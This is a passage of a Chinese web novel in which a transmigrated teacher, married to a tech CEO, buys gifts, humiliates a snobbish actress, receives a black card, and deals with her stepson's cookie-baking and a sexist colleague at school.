所以即便心疼,她还是拉着魏雅来到二三层的高奢门店。 两人都没有给成年男士挑选礼物的经验,但好在审美在线,金苒考虑到江明羧除了衬衫还是衬衫,这次特意挑了一件颜色保守的羊毛真丝混纺的polo衫。 设计方面成熟稳重,经典雅致,而且这样的材质在夏天也不用担心热。 买一件是买,买两件也是买,她干脆又挑了一件年轻点儿的t恤给江许黎,毕竟她这个后妈比亲生儿子多拿了四倍的零花钱,实在有些心虚。 就当感谢对方帮自己组建篮球小队吧。 一番逛下来,负责二人的金牌顾问笑得眼睛都没了,动作麻利地将衣服包起来,速度快到金苒都没有反悔的余地。 不过她本就没打算反悔。 等待的间隙,金苒忍不住拿出手机,看着某个头像暗戳戳指点,嘴里小声嘟囔:“知道我对你多好嘛!” 她都没有给自己买过这么贵的衣裳! 正点着,头像突然跳出一个红点。 金苒吓得险些把手机扔出去,过了会儿才发现并不是自己误触。江明羧:【没在学校?】 这人是有千里眼吗? 金苒心有余悸地松了口气,打字回复:【嗯,碰到了魏雅,一起出来逛街】 江明羧:【西边那个新开的商场?我正好在附近,你们在几楼?】 金苒一顿,他打算过来吗? 转而想到刚才买的衣服尺寸不知道合不合适,虽然顾问说可以过来退还,但如果能够亲自试穿,可以省下后面的麻烦。 于是便将两人的地点告诉了对方。 同行的顾问非常礼貌地将两人引至VI P休息区,并送上茶水和甜点蛋糕,服务态度好到让人心情愉悦,金苒吃了几口小蛋糕,想到家里两个男士都买了,就她一个人空着手,越想越觉得没有道理。 果断放下茶水,拉着魏雅去看女装。 两人刚踏入女装区,身后就响起一道刻意拔高的女声:“魏雅?” 回头望去,只见一个在室内仍戴着墨镜和口罩的女人,故作惊讶地捂住嘴:“哎呀,真的是你啊。” 她状似关切地压低声音,“你是不是走错地方了,这家店的衣服可不便宜呢,上次我看中一件连衣裙都要五位数…对了,我记得你从来没有买过超过一百块的衣服吧,趁着没人注意,还是快点出去吧。” 一副为你打算的样子,实际说的话句句都在阴阳怪气。 魏雅表情丝毫未变。 她家庭条件差,但从来没有因此自卑过,穷有骨气,富有德行:“就不牢你费心了。” 金苒正在思考这么蠢的人是书中哪个炮灰,没想到那人攻击魏雅不成,反而将目光转移到她身上,随即噗嗤一笑。 “哟,你这包挺眼熟啊,不过我记得这系列早就停产了吧,国内数量不超过二十个……该不会是‘特殊渠道’弄来的吧?” 金苒:“?” 她这包包是江明羧让王特助送来的,应该不至于是A货吧。【你现在阅读的是 】 50-60 第51章 第51章她也是有黑卡的人啦 金苒没有说话,墨镜女还以为被自己说中了,立刻抓住这点转向魏雅冷嘲热讽:“咱们做明星的,好歹要给粉丝做榜样。买不起名牌就算了,可要是自降身价,跟那些背A货的‘假名媛’混在一起,才是真掉价。” 闻言,魏雅脸色涨红,却是气的。 来人名叫薛露,是和她同批进公司的演员,仗着家境好、会来事,深受经纪人偏爱,最近接连在几部大制作里露脸后,气焰越发嚣张。平日明里暗里挤兑魏雅也就罢了,魏雅不愿生事,总是忍气吞声。 可现在对方竟连她的朋友都要羞辱,魏雅实在忍无可忍。 她冷下脸:“薛露,请注意你的言辞,向我的朋友道歉!” 薛露没想到魏雅居然反驳自己,反应过来心中火气“噌”得就冒上来了:“呵呵,我说的又没有错,这个包包价值八位数,把你们两个卖掉都买不起,不是A货是什么?!” 国内二十只包包,港城某个前辈收藏了一只,几位经常出席活动的富商太太们共有五只,最近一次出现,是在一场拍卖会上时,被明技科技的总裁以二百九十万的高价拍下,因此她百分百确定,眼前这两人的包绝对是赝品。 薛露言之凿凿,魏雅虽不清楚内情,但以金苒的身份,绝不可能背假货。她下意识地回头看,却见金苒不知想到什么,露出恍然大悟的神情。 她就说这样蠢的人在原著中不可能没有存在感,原来是前期一直给女主使绊子的炮灰同期啊! 一路打压女主,造谣女主,但被女主逆袭打脸——先是爆出靠金主抢资源,接着传出耍大牌的黑料,连所谓的豪门大小姐的背景也是伪造,最终身败名裂,被网友们抵制退圈。 而曾经被她踩在脚下的女主,则凭借实力一步步登顶,成为最亮眼的存在。 金苒心念一动,正准备说些什么,突然听到店铺入口传来一阵嘈杂。 有人从外面进来,原本闲着的顾问一窝蜂涌上去。 就连方才还趾高气扬的薛露,也在看清来人后瞬间变了脸色,堆起满脸笑容迎上前去:“江总,好巧啊!” 她眼睛闪亮,自己只是无聊出来逛街,没想到居然有机会见到江明羧,难道这就是缘分? 想到对方的身份,薛露心里忍不住打起小算盘。她对外营销的是富家千金人设,实际上家里不过小康水平,嫁入豪门便是她最大的目标,而眼前的江明羧无疑是一个不错的人选。 哪怕对方已经结婚,但现在外室挤走原配的事情又不是没有,她有自信能够打败原配上位。 届时别说什么演员资源,她自己就成了人人羡慕的资本。 越想越激动,薛露的笑容更加亲切,挤开众人来到江明羧身边,刚准备说点什么,却不料男人立刻皱眉往旁边避开。 “让一让。” 他语气冷淡,甚至有点儿厌恶,浑身散发着拒人千里之外的默然,薛露一下子就停在原地,眼睁睁看着江明羧经过她,朝不远处的两人走去。 然后,停在了她瞧不起的两人面前。 …… 拖某人的福,金苒也算体会了一把什么叫万众瞩目。 好在她这人什么大世面没有经历过,比起十几个人的“舞台”,她每天面对的可是五十三个人的视线,此刻,在众人惊讶的目光中,金苒非常淡定地打招呼:“你来了呀。” 江明羧颔首,顺手接过她递过来的包包:“逛完了吗?” “还没有呢,我想买衣服,但这里太多了,挑到眼花。” “都不合适?” “不是啊,是感觉都太好看了,不知道选择哪一件。” 江明羧还以为怎么了,直接道:“那就全买下。”??? 虽然我在演戏,但你这样说我可当真咯? 金苒用尽洪荒之力才没有让自己破戏,瞪着卡姿兰的大眼睛:“会不会太奢侈啊。” 她非常绿茶地看向走过来的薛露,“刚才这位小姐说我的包包很便宜,如果买太贵的衣服,和这个包包就不搭配了。” 江明羧对这包还有印象,拍卖会的价格虽然虚高但不至于到便宜的地步,他瞥了一眼表情夸张的金苒,心中一片了然,顺着往下道:“两百多万,的确不太贵,等会儿再给你买新的。” 说完之后,金苒成功听到周围的倒吸气声音。 她想笑,但忍不住了,某种程度上说,江明羧比她更会拉仇恨。 不过有点爽是怎么回事? 虽然连她自己也有些惊讶,没想到这包的价值就赶上了她一个月的零花钱!好吧,这样一对比,她居然非常膨胀地觉得也还可以? 哎呀,真是堕落了。 目睹这一切的薛露脸色变得苍白。 联想到江明羧在拍卖会上拍下一款鳄鱼皮,眼前这个女人的身份昭然若揭。 心中顿时惶恐不安,她敢欺负魏雅,是因为对方出身平民,毫无根基,可得罪的人换成江太太,她还能在娱乐圈走下去吗? 等金苒再去看的时候,人群中的薛露已经灰溜溜离开。 她勾起嘴角。 对于这样捧高踩低、欺软怕硬的人,最好的办法就是用更大的权势压回去,经此一遭,想必薛露以后见了女主都得绕道走,不敢再瞎蹦跶了。 / 没有了无关紧要的人,金苒刚才斗志昂扬的精神气散去,整个人又变得懒洋洋的。 江明羧将她这变化看在眼里,却只是挑了挑眉,不动声色地在休息区坐下,好整以暇地等着两位女士继续挑衣服。 可惜金苒并没让他闲多久。她拿出之前挑好的衣服,不由分说就把人往试衣间推:“去试试这个!” “嗯?” “我给你买的礼物!” 江明羧稍微一想就明白过来,她果然知道了那天是自己的生日。他有些无奈,但耐不住金苒坚持,女人每次坚持让别人做某件事情,都会皱着鼻头,声音也不自觉带上弯弯曲曲的尾调,像是撒娇的猫咪。 是个男人大概都拒绝不了。 等江明羧换上衣服出来,对上了金苒亮晶晶的眼光,他突然又觉得没什么麻烦。 意识到自己的想法,江明羧思绪有片刻的停顿。 不过很快,又恢复正常。 外人眼中的他严肃、认真,但其实他的性格有些随心所欲,想要什么,想得到什么,从来都是想尽办法得到。 至于退缩,江明羧嗤笑一声,如果会退缩,他今天就不会站在这里。 另一边,看到穿上polo衫的男人,金苒眼中闪过一丝惊艳。 江明羧身材 高大,所以她特意选择了最大号的polo衫,此刻穿到身上,肩线挺括,腰身服帖,略深的v口领微微敞着,露出一截锁骨。 金苒一直觉得江明羧身上有一种“匪气”,哪怕他大部分时间都是一本正经的精英形象,可偶尔扫过来的眼神,或是随手夹烟的动作,都带着几分野性难驯的味道。 譬如此刻,换下更为休闲的衣服,他整个人的气质像是被人放开,链条下分明的骨块,荷尔蒙十足。 “我的眼光果然很好!” 她笑眯眯地夸赞。 闻言,江明羧嘴角翘了翘,甚至有心情和她开玩笑:“难道不是我穿着好?” “唔,你的因素也有,但我挑选的衣服占了很大的功劳。”某人大言不惭。 “好吧,”江明羧露出无奈的表情,“请问功劳小姐,那我能换下来吗?” 金苒知道江明羧还要回公司,于是大手一挥放过对方。 十分钟后,顾问将方才的所有衣服打包好,笑容真切:“一共二十五万,这边刷卡。” 听到这个数字,金苒心脏有一秒钟的抽痛,倒不是后悔,只是穷人在购物后的正常反应。 她正感慨,旁边的江明羧已经拿出自己的卡,见状,金苒着急地把人拦下:“这是我给你的礼物,怎么能让你来付呢。” 江明羧低头看她的表情,挑了挑眉:“确定?” 金苒咬牙:“当然!” 她不至于这么抠门! 在江明羧和魏雅的注视下,金苒强装淡定地从怀中拿出卡,盯着顾问把卡放在POS机上轻轻一滑,轻短的“滴”的一声提示音,她又伸手拿回来。 前后大佬范十足。 实际只有她自己知道,这会儿的她已经升仙了。 这种恍惚的情况一直伴随着同魏雅分开,她坐上回家的车。 驾驶座上的江明羧递过来一张银行卡。 金苒愣了愣,一双清澈的眼睛里充斥着茫然:“这是什么?” “银行卡。”江明羧语气平淡,仿佛在说今天的天气一样。 金苒:“……” 她当然知道是银行卡,她还知道这是一张黑色的银行卡! 卡面通体漆黑,上层泛着哑光的磨砂质感,边缘镶嵌一圈极细的鎏金线条,和传说中的某种卡长得一模一样! 这一刻,金苒顾不得刚刚花出去的二十几万,只觉得自己胸膛里的心脏越跳越快,她听见自己问:“那你把你的银行卡给我干什么?” 红灯亮起,江明羧踩下刹车,车子稳稳停在白线内,他这才有时间回答:“没什么,给你花。” 而后侧头看过来,眼底带着趣味:“怎么,看不上?” 话音落下,金苒已经笑着将卡接过来,嗔道:“江总说什么呢,你送的东西,不管什么我都喜欢!” 哈哈哈,黑卡,从今往后她也是有黑卡的人啦! 第52章 第52章不是女朋友,是家人…… 金苒请徐珍来家中做客的事情,江许黎一直知道。 于是周末这天,当陈训良约他一起去游戏城打游戏时,他毫不犹豫便拒绝了。 陈训良:“为什么啊?” 江许黎无奈:“徐老师帮助我很多,她来我家,我总不能躲出去吧。” “也是。”陈训良本来就是为了找个人一起打发时间,现在得知江许黎无法出来,便顺势改口,“那我去找你吧,正好看看小三花,你不知道,得益于我孜孜不倦给我妈分享猫咪视频,她现在已经不是那么抵触了。” 语气洋洋得意,听着大有要把猫带走的意思。 江许黎有一瞬间的警惕,等挂断电话从三楼来到客厅,正巧看到拿着逗猫棒在那儿逗小三花的金苒。 虽然这只猫是江许黎带回来的,但凭心而论,家里三个人中反而是金苒陪小三花玩的时间最多,于是这只本就傲娇的猫咪,现在最爱缠着金苒,每到周末清晨,江许黎睡得正香,小家伙就已经嗷嗷叫着去找人玩。 哦,它还愿意“强制爱”找他爸,反而他这个半个主人,最不受待见。 这不,江许黎刚刚走过去,顺手从桌子上的众多猫零食中拿起一个逗小三花,后者凑过来鼻子耸动了几下,居然嫌弃地移开了头。 江许黎:“?” 见状,金苒噗嗤一笑:“那个味道的冻干它不喜欢,你换蓝色包装的那个给它。” 听她这样说,江许黎才换了另外一种,这次傲娇的小三花终于吃了,大概意识到这个从不摸猫的“家庭成员”也会爆美食,吝啬地用脑袋蹭了蹭他。 “陈训良说来要来看猫。” 金苒没有多想,热情道:“好啊,让他来,中午正好留下吃饭。” 江许黎眉眼间流露出几丝纠结。金苒停下逗猫的动作,疑惑地侧头看过来:“怎么了?” “他可能会把猫带回去。” 江许黎犹豫着开口,这么长时间的相处,别墅的大家对于爱吃的小三花很是喜爱,尤其是金苒,简直把猫咪宠上了天,活像个溺爱孩子的家长。想到这里,他不禁有些懊恼——当初为什么要答应帮陈训良照顾猫啊,明明从一开始就可以据为己有的。 金苒眨了眨眼。 她还以为是什么大事呢,原来是担心她舍不得小三花。 十五岁的少年,身高已经逼近成年人,两人站在一起,很多时候金苒需要仰头去看他。 可他状似随意的试探、眼底掩不住的关切,以及不自觉地抿紧的唇线,都让金苒感受到了成年人少见的诚挚。 就像在说:快看,这里还有一个未被污染的灵魂呢。 金苒不禁莞尔。要说舍不得,自然是有的,但小三花本就是陈训良寄养在他们家的猫,主人想要带走也无可厚非。 “对我来说,只要小三花过得好,谁养都一样。” 江许黎观察她的表情,确定并没有什么难过的情绪,便知道她说的是真心话,于是悬着的心缓缓放了下来。 可还没有彻底放到底,就听见金苒话锋一转:“不过你想要养猫的话,我和你爸爸可以给你再买一只哦。” 江许黎一顿,抬头对上金苒促狭的目光,顿时撇撇嘴,又恢复了那副“冷酷”的模样,下巴微微抬起来:“我才不要养猫。” 正在啃玩具的小三花还以为两脚兽们在叫自己,嗷呜应了一声。 一人一猫同时望过来的样子,竟出奇地相似。 十点半,徐珍来到硕果湾别墅。 金苒带着江许黎去小区门口接人,看到她,保安老张立刻放人通行,黝黑的脸布满笑纹:“原来是江太太的朋友,下次过来我老张绝对不会认错咯。” “辛苦张师傅了。”金苒微笑着点头致意。 徐珍亦步亦趋地跟在金苒身后,直到走出一段距离,她才从震撼中回过神来:“不愧是顶级别墅区,这安保做得真严格。” 金苒解释,是因为之前有网红借口是业主的亲戚进来偷拍直播,泄露了某个政.届的大佬,自此之后物业便加强了管理。 也是如此,金静才没办法进来。 所以根本不是对方以为的金苒故意给保安打招呼。 闻言,徐珍有些目瞪口呆,没想到现 在的网红为了拍视频这般拼:“网红一场直播几百万,咱们当老师的一年到头也赚不到十万,怪不得现在的人都愿意去当网红。” 金苒心想,原书就是一本娱乐圈小说,书中世界娱乐至上,出现这种情况也不足为奇。 两人转而聊起社会资源分配不均,开始讨论未来就业形势和薪资差距的问题,落后两人几步远的江许黎听着女人的抱怨,表情古怪。 之前看她在学校里积极上课,推行“搭档”学习,还以为能赚到很多钱。 结果她那些工资还不如他爸随手给的零花钱多呢,有必要这么拼吗? 生活在父亲遮蔽下的少年,显然还保留着天真。 “这叫配得感,荣誉感。” 聊了半天,两个普通人发现并没有办法改变现在的状况,最后,金苒只能拍了拍徐珍的肩膀:“至少我们的工作还是有意义的,培养祖国的花朵,是在为祖国未来而奋斗。” “没错,”徐珍也点点头,“公司会倒闭,演员会事业,而我们永远不会失业!” “而且一年有五个月的大假期,周末和节假日也可以按时休息。” “我们还有丰饶的养老金!” 两人相视一笑,顿时又对未到手的教师编充满干劲。 江许黎:“……” 因为是金苒第一次请客,别墅的佣人们格外重视,管家亲自带着人将别墅里里外外都清扫了三遍。 厨房那边,王厨使出了看家本领,亲自掌勺做了十二道拿手好菜,从早晨开始别墅灶台上的火就没停过。 半小时后,陈训良过来了,手里提了一份果篮。 他经常来这边,熟门熟路地走进客厅,先和金苒徐珍打了声招呼:“金老师,我来找黎哥。” 金苒笑道:“他在厨房,你先坐着等等吧。” 厨房?陈训良眼珠子转了转,果断提着果篮往厨房走:“不用不用,我去找他,顺便给你们洗水果吃。” 他好奇一向十指不沾阳春水的黎哥跑厨房做什么,结果过去之后发现江许黎正在手忙脚乱烤小饼干。 陈训良人都傻了,他黎哥什么时候这么勤劳了? 事实江许黎也没有想明白。 当时金苒正向徐珍夸赞王厨烤的小饼干多么好吃,想让徐珍也尝一尝,结果会烤饼干王厨因为一个人要做十二道菜忙得不可开交,而金苒嘴上说得头头是道,实操性为零,所以他这个会用灶台煮泡面的人就被委以重任。 “作为报答徐老师的复习之恩,我们今天能吃不吃到好吃的烤饼干,就靠你了。” 然后他就站到了厨房。 这样的真相显然不能告诉陈训良,显得没有逼格,他一脸故作高深:“其实这里面是有说法的。” “什么说法?” “你把这碗鸡蛋打发后我就告诉你。” 然后——“把饼面团揉好我就告诉你。” “把饼干放进烤炉我就告诉你。” “再等十分钟就告诉你”。 一遍又一遍,陈训良被忽悠着全程参与制作。当烤箱飘出诱人的奶香味时,江许黎才慢悠悠地开口:“恭喜你,结论就是你学会了烤饼干。” 陈训良:“……” 当天,文承中学的论坛首页出现了一个帖子。 【多年兄弟发现不是人怎么办?】 帖子标题炸裂、夸张、夺人眼球,几乎看到的学生都会点进去一探究竟。 楼主:[愤怒.jpg]今天必须曝光我那个八年的好兄弟,从幼儿园穿开裆裤就认识的交情,结果今天一起做饼干才发现他的真面目! 事情是这样的,我去他家里找他玩,发现从来不进厨房的人居然在烤饼干,他说只要帮他做点事就告诉我原因,结果全程都是我在动手!从打发鸡蛋到挤裱花,这个狗东西就靠在料理台边,最后饼干出炉时,他居然一脸慈祥地恭喜我自学成才! 虽然我不是人,但他是真的狗;-) 1楼:【以为是玄幻片,看发展是谍战片,结果是兄弟.情.片,散了散了】 2楼:【你就说你学没学会烤饼干吧】 3楼:【只有我注意到楼主和兄弟都是男生吗?咱们学校居然有男生会烤饼干,太贤惠了吧!】 …… 40楼:【楼主,我明白你的愤怒,所以能把你兄弟的联系方式给我吗?】 41楼:【楼上别想了,能让男生心甘情愿烤饼干的,肯定是给喜欢的女生】 42楼:【我猜一定是个优秀的小姐姐】 显然,没人理解陈训良的愤怒,帖子逐渐歪楼到讨论帅哥的感情生活去了。 另一边,江许黎将烤好的饼干取出,抬头看见陈训良正埋头玩手机,皱眉道:“发什么呆呢?过来搭把手。” 没想到他刚出声,那边陈训良就被吓得一哆嗦,做贼心虚地把手机给收起来:“啊?哦哦马上!” 江许黎眯起眼睛。 中午吃完饭,金苒带着徐珍去花园聊天晒太阳,他终于有时间掏出手机,回忆刚才一闪而过的画面,打开学校的论坛。 那条帖子已经被顶成热门,挂在首页,江许黎一眼就看到了。 他板着脸从头到尾刷下来。 看到猜测他做饼干是给女朋友时,江许黎眉头往下压了压。 片刻后,点击回复。 135楼:【不是女朋友,是家人】 他的回复平平无奇,起初并没有引起注意。 等到文承中学的学生们终于发现这条回帖,纷纷追问他是怎么知道内情的时候,江许黎早已经退出论坛——因为刚吃完大餐的徐珍过意不去,非要给他补习语文。 见势不妙,陈训良随便找了个借口就溜之大吉。 不知是忘记了还是压根就没打算,他并没有带走那只小三花。 那一刻,无论金苒还是江许黎,都悄悄松了口气。 第53章 第53章她在这个世界上还有家人…… 或许是险些经历分离,让两脚兽们突然意识到天下没有不散的筵席,与其期望未来,不如珍惜每一个眼下的日子。 于是当天傍晚,巡视完自己“领域”的小三花,莫名其妙就受到了公主般的待遇。 江明羧从公司回到家,进门时,看到金苒和江许黎正坐在地上给小猫打扮,旁边的沙发上铺着各种猫咪服饰——裁剪精致的公主裙、五颜六色的连体衣,简直比服装店里的款式还要丰富。 “小三花是女孩子,当然要穿公主裙!”金苒坚持自己的意见。 “但它刚才明明对着我的绿色卫衣叫了,说明更喜欢这个!”江许黎寸步不让。 两人争执得投入,连他进门的声音都没有听见。 江明羧解开领带,随手搭在沙发上,那边,被吵得猫头疼的小三花轻盈一跃,迈着猫步走到男人面前:“喵~” 另外两人这才发现江明羧回来了,金苒立刻仿佛找到靠山似的告状:“江明羧,你儿子欺负我!” 江许黎对她越熟悉,越发现这女人就是个咋呼精,雷声大雨点小,譬如此刻,她佯装抹眼泪,当着自己的面就开始颠倒黑白,不由得着急争论:“分明是你为老不尊!” 金苒瞪大眼睛,一脸不可置信:“你居然说我老?!” 这下江许黎算捅了马蜂窝,原本是假哭,如今是真的要哭了。 没有哪个女孩子愿意被人说老,想她今年年芳二五,正是花一样的年纪,车祸穿书便算了,还给十五岁的高中生当后妈,高中生还嫌弃她老! 越想越是委屈,顷刻间,那双黑白分明的眼睛里便蒙上一层水雾,湿漉漉地望过去,大有一副“你不主持公道我立马哭给你看”的架势。 而被望着的江明羧,此时此刻很想揉一揉太阳穴。 之前这两人的相处让他头疼,现在这样,他发现头疼的还是自己。 俯身把一直扒拉他腿的小三花抱起来,指尖点了点红润的鼻头,而后对可怜兮兮的金苒道:“过来给它穿衣服。” 闻言,金苒瞬间雨转晴,睥睨了江许黎一眼,拿着公主裙过去了。 这下换江许黎气得不行,对着他爸口出狂言:“重色轻儿!” 可惜声音压得有些低,他爸根本没有听见。 夜晚,书房里万籁俱静。 只偶尔有笔尖划过纸张,发出窸窸窣窣的声响。 终于批改完最后一本作业,金苒搁下红笔,懒洋洋伸了个腰,顺手关掉面前的台灯。 她没有立刻离开,而是拿起自己的卡通杯子,去饮水机那儿接了一杯水。 浅浅抿了一口,温水润过紧绷的唇瓣,然后不紧不慢地踱步到江明羧的书桌前。男人正专注地批阅文件,修长的 指尖握着钢笔,用力的时候,手背青筋微突,寥寥几笔便在纸上留下遒劲的墨字。 是那种一看就很好看的字迹。 她不由得挑眉,有些人嘴硬心软,明明把儿子送的钢笔带在身边,但平日里见面却如数九寒冬,总是板着一张脸,实在让人不知道该说些什么好了。 好在这段时间,父子两人的关系稍微缓和了点。 “想什么呢,这么出神?” 江明羧等了好一会儿都没有等到她说话,偏偏头顶的视线有如实质,让他不得不抬起头询问。 金苒笑了笑,她刚才的确在想事情。 这个男人连黑卡都愿意给她,某种意义上,等同于将夫妻共同财产交由她支配,如果她还是原身,甚至可以挪用这笔钱去扶持金家,有江明羧的财力和地位,要让一个破产公司起死回生并非难事。 又或者,正因为看出她并非原主,他才敢如此放心? 金苒猜不透江明羧的想法,索性绕到书桌内侧,双手向后撑着桌沿,几乎半个身子倚靠在上面。 明亮的灯光下,她眼睫打翻一片碎金,本来想问金家人,话出口却变成:“我在想你给我的那张黑卡,可以花多少钱?” 江明羧挑眉:“不是说随便你花么。” “那给别人用也行?”不等他开口,她已经掰着手指举例,“比如我家里人,或者朋友……” 江明羧面色异样:“家人?” 她在这个世界上还有家人? 江明羧忽然想起那个叫魏雅的小明星,可对方的关系网很简单,直系亲属只有一个弟弟,或者,那是她的后代? 脑海中万千思绪翻涌,最终却只是化作一个简单的动作,他微微颔首:“可以。” 可以给家人花,也可以给朋友花。 闻言,金苒小小的震惊了,这个男人是不是进修过什么语言艺术班啊,要不然为什么这么会哄女人开心呢? 很多时候,女人要的并不是什么贵重礼物,只是一句让人舒心的甜言蜜语罢了。 至于真假,金苒并没有太过追究,反正黑卡已经在自己手里,有对方一句话,后续她想怎么花就怎么花。 这样想着,心里却有了被支持的底气,连带着对他的态度都随意起来,透着一股熟稔的亲昵:“对了,下周的家长参观会,你有空吗?” 上次两个人提起这件事情的时候,江明羧只说看情况,有时间便会过去。 “几号?”江明羧放下手中的钢笔。 “三十号,正好周五。” 江明羧停顿了下,见状,原本觉得十拿九稳的金苒忽然紧张起来:“怎么,有安排?” 江明羧无奈点头:“那天市政府有一场经济峰会,涉及签署合作协议,大概需要我出场。” 明技科技多方面转型,这场政企合作关乎公司未来几年的产业布局,作为掌舵人,他确实分身乏术。 金苒眼底闪过一丝失落,不过也知道轻重缓急,很快又扬起笑容:“没事,等活动结束后,我把参观会的录像和简报整理好发给你,保证不耽误江总了解我们学校。” “好。”江明羧哑然失笑。 两人在书房互道晚安,各自回到自己的卧室。 临睡前,金苒躺在床上,再次把家长参观会的流程在脑海里过了一遍,确认每个环节都安排妥当后,才安心闭上眼睛,打算明日就把方案交给校长。 可没想到的是,等第二天见到校长,对方居然要给她送一个“帮手”。 “这是咱们学校行政科的教务干事,在学校工作也有十几年了,对各方事务都比较了解,让他和你一起安排这次活动,肯定事半功倍。” 那人和她握手:“小金是吧,这些大型活动可不比上课,需要经验和人脉,你们女老师在某些方面还是容易办不好。” 金苒的笑容险些维持不住。 什么叫女老师办不好? 这老登不仅横插一手,怎么还搞性别歧视啊。 老登毫无悔改之心,甚至大言不惭地继续道:“我正好认识几位集团老总,可以请他们对咱们文承的未来和发展做出建议,到时候什么校企合作、赞助经费都不在话下。” 金苒算是听明白了,这人和她一样,也是有背景的。 而校长在这个时候把人推出来,摆明是对她的能力存疑,又或许更属意让这老登当教导主任。 认输? 金苒将方案收起来:“几位老总家里也有适龄学生吗?” “这和学生无关。” “所以他们是看重文承的前景,想要提前投资?” 老登摆摆手,一脸女人就是“俗气”的轻蔑:“几位老总是真正关心教育、有社会担当的企业家!他们自愿为文承中学的发展做出一份贡献,当然,他们不求回报,我们却不能白嫖,必要时候还是需要表现一点的。” 后面省略若干吹捧话语,因为金苒实在不想听下去了。 她看向校长,后者尴尬地避开视线,显然不愿参与两人的“争斗”。 金苒深呼吸,一忍再忍,还是没有忍住,当即皮笑肉不笑打断对方:“既然万老师如此厉害,我还是不拉您后腿了,而且我这边的工作已经收尾,万老师现在过来,恐怕没有您发挥的空间,不如分开行动,我只需要保证我带来的家长,那几位厉害的老总还是您来接待吧。” 万老师眉头一皱,显然不满她的态度,但想到能独占资源,到底绷着脸点了头。 金苒是压着一腔火气从校长室离开的。 职场冷暖她不是不懂,只是一直走得太顺,第一次遇到半道摘桃,以至于这股邪火怎么也压不下去。 她自己还没用上潜规则呢,反而被别人用了? 环顾办公室,金苒想找个人吐苦水,却见同事们都在埋头工作,而且自己到底刚入职不久,和大家还不算熟悉。 在微信上敲徐珍,尚未开口,对方率先哀嚎要去处理难搞家长,有什么事情等她回来再说。 最后,金苒怒气冲冲点开江明羧的聊天框。 备课汉姆(考不过教师编不改名版本):【(怒)(怒)(怒)】 过了接近半小时,对面才有回复。 江明羧:【?】 【怎么了?】 备课汉姆(考不过教师编不改名版本):【遇到了一些不好的事情,我现在非常生气!】 【不介意的话,可以和我说一说,两个人想办法或许比一个人有用】 于是金苒就把自己准备好方案,结果临到头却被校长塞人的事情告诉对方,大骂老登不讲武德:【我当时恨不得直接把方案书扔他脸上!】 一番暴力输出,加上半个小时的沉淀时间,金苒的火气稍微平静了些许,回过头,再看满屏幕都是自己的吐槽,突然觉得有些尴尬。 江明羧好歹是上市公司的总裁,自己拿这样的小事去烦他,会不会显得太玻璃心? 正当她准备说点什么,挽回自己的形象时,江明羧的消息跳出来。 【方案书太薄,施加外力时会发生折叠,受力面积小,拍脸上杀伤力不够】 金苒盯着屏幕眨了眨眼:【???】 您一位公司总裁在说些什么呢?而且这样头头是道的分析,为什么有一种对类似事情很熟悉的样子:【这是哪本书中的理论?】 【不是书中理论,是我试过】 【?????】 江明羧坦诚:【明技刚创建时候,类似的事情发生过很多次,我当时年轻气盛,经常和他们起争执】 会和其他人争执的江明羧? 金苒觉得不可思议。 在她印象里,江明羧永远从容不迫,运筹帷幄,是那种天塌下来都能面不改色的人。可此刻,她脑海里却浮现出他冷着脸摔文件的画面,忍不住噗嗤笑出声来。 笑意中,屏幕那头的男人突然变得真实可触——不再是那个高高在上的精英大佬,而是会为不公跳脚、会记仇的普通人。 她忽然一点儿也不生气了。 心想连江明羧这样的大佬都会遇到这样的事情,自己工作中遇到点傻x又有什么奇怪的? 有句话怎么说来着——天将降大任于斯人也,必先苦其心志,劳其筋骨。 她现在就是那个被磨炼的斯人。 而且为了一个蠢货气自己,实在不值当。 心情重新恢复明朗,等江明羧询问是否需要他帮忙时,金苒想了想,还是拒绝了。 以对方的身份,甚至不用亲自出面,只需简单交代几句,校长必定会给一个面子。 但金苒觉得如果靠江明羧出现才能把事情解决,岂不是显得自己真没本事?她偏要亲自做到完美,让校长心服口服! 当然,她也没把话说死,在后面又补了一句:【要是我搞不定,再找你救场(小八叉腰)】 江明羧的回复简短有力:【好】 / 另一边明技科技,江明羧放下手机,抬眸看向王特助:“三十号的峰会,行程能调整出来吗?” 王特助迅速调出日程表,汇报道:“峰会早上八点开始,前面是几位领导的致辞环节,您的发言安排在九点,九点半后有半小时的休息时间。” 江明羧若有所思地敲了敲桌面:“公司和文承中学的赞助项目是不是还在推进?” 王特助一愣,随即答道:“是的,但校方对接效率较低,项目暂时搁置了。” “联系校方,三十号上午,我亲自过去一趟。” 闻言,王特助一怔,一时没想通江总为何突然对这件事上心。 后面走出办公室,他才联想到自家少爷便在文承中学就读的事情,忍不住想,难道江总是想看看少爷在学校的情况? 毕竟当初和学校的合作,总裁办之所以挑选文承中学,也是因为少爷的原因。 王特助自觉窥见了真相。 虽说江总日理万机,从未过问过少爷的学业,但毕竟是亲生儿子,在心里的地位还是很重要的。 至于太太也在文承工作……王特助作为跟随江明羧多年的心腹,对江总不说完全了解,也略知一二,对方不是那种为爱冲动的人,上班期间看老婆这种事情,绝对不会发生。 第54章 第54章已大修)江总,您来了…… 金苒觉得自己骨子里大概刻上了不服输的基因。 不战则已,一战就要战斗到底,而且绝对不允许自己失败! 在发现无法改变校长的决策后,她立刻调整自己的安排,原本一些觉得差不多的地方,全部推翻重做,务必做到万无一失。 很快,就连三班的学生们都发现了她不同往日的紧迫。 数学课结束,陈训良挠了挠后脑勺,一语中的:“我怎么感觉金老师要变身?” “变什么身?” “感觉下一秒就要变成奥特曼去打小怪兽。” 王舒雅翻了个白眼:“就算变身也是美少女战士。” 毫不夸张,金老师是她见过的最漂亮的老师,刚入职那会儿,论坛上便经常有学生偷拍发帖,千里捞人。 后面得知是老师也没有消停下来,反而趁着课间空来高一年级偷看。 “嘿嘿,我就是打个比方。”他转头看向江许黎,“哎,黎哥你知道发生了什么吗?” 王舒雅不理解:“问他干什么,他和金老师都不说话,还不如我和金老师关系亲近呢。” 陈训良嘴唇嗫嚅,心想当然是因为近水楼台,但想到黎哥的叮嘱,到底没有说出口:“这不是随便问问么。” 一旁,江许黎皱了下眉,没有说话。 因为他也不知道发生了什么。 傍晚放学后,江许黎和朋友们在操场打了会儿篮球,热汗淋漓地回到家,彼时管家正站在厨房门口,一边核对账目,一边忧心忡忡地往阳台方向张望。 他顺着视线看过去,发现是金苒窝在一楼阳台发呆。 江许黎收回目光,径直走到厨房拿了一瓶冰镇饮料,仰头咕咚咕咚灌下去大半。 回来一瞥,金苒连姿势都没有变过,仿佛一座凝固的石像。 